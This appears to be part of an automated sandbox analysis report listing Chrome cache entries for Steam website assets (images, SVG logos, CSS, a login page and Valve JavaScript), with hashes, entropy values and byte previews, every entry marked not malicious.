Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1212
Entropy (8bit):	4.955390112206397
Encrypted:	false
SSDEEP:	24:2dC5A6LfEhXUzXwv3HDIVgCawkkGb8MjzZ+EqnP:cGA+fEtUUb9wkktMHZ+E+
MD5:	A12CFFB3B582F0D0F6EA9C9C36B74A5E
SHA1:	2555282495D3802EB37BFDBF8B1F97507E125642
SHA-256:	CAABF4747B164EB5FA61A0D1461443961FF2FFAE35EB60869F2E4F93D1530CF1
SHA-512:	14D2F2F8B3CFC0A3B0E3892010AA9CB06550455A3DA20EF75A47BEADE2D39DF4584759F81AC26EA26CA227767FC6E45B0838D927D77FC1DDE40E68050E39BCD6
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/store/about/icon-macos.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 23.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 20 20" style="enable-background:new 0 0 20 20;" xml:space="preserve">..<style type="text/css">....st0{fill:#24ACE3;}....st1{fill:#FFFFFF;}..</style>..<path class="st1" d="M18.1,15.6c-0.3,0.7-0.7,1.3-1.1,1.9c-0.6,0.8-1,1.4-1.4,1.7c-0.6,0.5-1.1,0.8-1.8,0.8c-0.5,0-1-0.1-1.6-0.4...c-0.6-0.3-1.2-0.4-1.8-0.4c-0.6,0-1.2,0.1-1.8,0.4C7.9,19.8,7.4,20,7,20c-0.6,0-1.2-0.2-1.8-0.8c-0.4-0.3-0.9-0.9-1.4-1.7...c-0.6-0.9-1.1-1.9-1.5-3c-0.4-1.2-0.6-2.5-0.6-3.6c0-1.3,0.3-2.5,0.9-3.5c0.5-0.8,1.1-1.4,1.8-1.8C5,5,5.8,4.8,6.7,4.8...c0.5,0,1.1,0.1,1.9,0.4c0.8,0.3,1.3,0.4,1.5,0.4c0.2,0,0.7-0.2,1.7-0.5c0.9-0.3,1.7-0.5,2.3-0.4c1.7,0.1,2.9,0.8,3.8,2...c-1.5,0.9-2.2,2.2-2.2,3.8c0,1.3,0.5,2.3,1.4,3.2c0.4,0.4,0.9,0.7,1.4,0.9C18.3,15,18.2,15.3,

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3681), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	28986
Entropy (8bit):	5.326704896788214
Encrypted:	false
SSDEEP:	768:LEFFBmHVCBdexIBCLvASvEknsftD+ojhjBtPF5PffVQjOIojIAerikye+T8CjBtu:LEFFBmHVCBdexIBCLvASvEknsftD+oj0
MD5:	BF3958E28C316386695D1B50F34134FC
SHA1:	680F1F53EEC00E61084B8F3F3BC7B80ECC92C2FE
SHA-256:	52B6FD4AB2092D04480A2A874E1E6313E32BA37CEE5046827EF9E6876A0DA7A8
SHA-512:	D3726703EEA24BBA285F191AF813899EDC8CCC45168C4FFC8840B749D8284E39AEEF45B2F41B17BBF557DB75376D36970A3197611C31AFB32FD39AE3237348BC
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/login/?14__global-header
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Sign In</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/c

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://steamcommunity.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x690, components 3
Category:	dropped
Size (bytes):	65743
Entropy (8bit):	7.811780908461519
Encrypted:	false
SSDEEP:	1536:rNLzMwRMBrmzHC4IO0cYFmL+76ELuC+ZYJ+pGXN:JLzVm6dIO0tmqoZC+G9
MD5:	105F079801573F86F1EB00E5A5859B5B
SHA1:	A25DA185557ECC0EB30943F902723B415BBA4728
SHA-256:	B258176E6B291343C18679962AB8658108451A22F12A5AECAB106501D8BC091E
SHA-512:	FB3574ADE953AC8DC2DBD866D035327B73E1AD47528A878BF6B8C328679F44D7CB513A57E74A2E0489A5B42FA1C8992E9EE73EC54F7F19047F2E863BE5FBC8F7
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C" xmpMM:DocumentID="xmp.did:8BA0DB9939F911E4A46BC04E209BF2B0" xmpMM:InstanceID="xmp.iid:8BA0DB9839F911E4A46BC04E209BF2B0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C5062F826C2DE411BAEF90B629DAE306" stRef:documentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7389
Entropy (8bit):	5.162675498505817
Encrypted:	false
SSDEEP:	192:zVJMkgIvek6vDbiaWL/TfsUQ6yUgkHsLBvpZX+KP:YFIjgszsmyisz19P
MD5:	659F75C3F7EE038DD2A4D66305D1DA6F
SHA1:	6DB767997054432978A76C09C4A4C453F3D4638D
SHA-256:	E458159DCE75486D40EF6BF8B240B7AC437FAF557D4FEED4FA8052DFBDDA62C1
SHA-512:	60BABF7221FA2A5E626C795E96A9DA6C5BB6DA894E10BA304BFE6A342C6202ADDE76F46F4BEEA10F8EDCE36E3FBC6B132799894BCE6376D05A90BE9BD8D20598
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/styles_mobile_about_v2.css?v=ZZ91w_fuA43S&l=english
Preview:	...responsive_page_template_content {...padding-bottom: 0;..}....#footer_spacer {...background-color: #171a21;..}....a {...color: #1A97FF;..}.....mobile_apps_page {...font-family: 'Motiva Sans';..}.....mobile_section_rows {...max-width: 940px;...margin: 0 auto;...display: flex;...flex-direction: row;..}.....mobile_section_columns {...display: flex;...flex-direction: column;...align-items: center;...justify-content: center;..}.....left_align {...align-items: flex-start;..}.....top-align {...justify-content: flex-start;..}.....fill_column {...width: 100%..}.....mobile_page_section {...padding: 50px 40px;..}.....mobile_page_header {...background: linear-gradient(130.49deg, #25282E 15.41%, #303641 59.02%);...font-style: normal;...padding: 24px;...color: #FFFFFF;..}.....header_item {...padding-bottom: 12px;..}.....mobile_got_apps {...font-weight: 800;...font-size: 40px;...line-height: 57px;...text-align: center;..}.....mobile_stay_connected {...font-weight: 700;...font-size: 20px;...line-he

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	downloaded
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/search_icon_btn.png
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
